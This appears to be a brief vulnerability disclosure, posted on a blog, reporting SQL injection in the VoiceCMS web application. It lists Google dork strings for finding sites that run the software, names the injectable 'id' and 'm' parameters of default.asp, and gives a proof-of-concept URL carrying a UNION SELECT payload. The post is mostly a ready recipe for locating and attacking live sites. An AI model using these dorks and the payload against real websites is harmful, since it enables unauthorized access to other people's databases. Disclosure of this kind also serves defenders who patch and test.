VoiceCMS Vulnerable to SQL Injection
Title : VoiceCMS Vulnerable to SQL Injection
Vendor : http://www.voicecms.ca
Found by : p0pc0rn
Dork
: intext:"Powered by VoiceCMS"
: intext:"powered by triware"
SQL - Jet Engine Database Error
-------------------------------
Parameter
http://site.com/default.asp?com=[Page]&id=[SQL]&m=[id]
http://site.com/default.asp?com=[Page]&id=[id]&m=[SQL]
POC
---
http://site.com/default.asp?com=PhotoGallery&id=1 union select 0 from test.a&m=1
thanks,
-p0pc0rn-
0 comments:
Post a Comment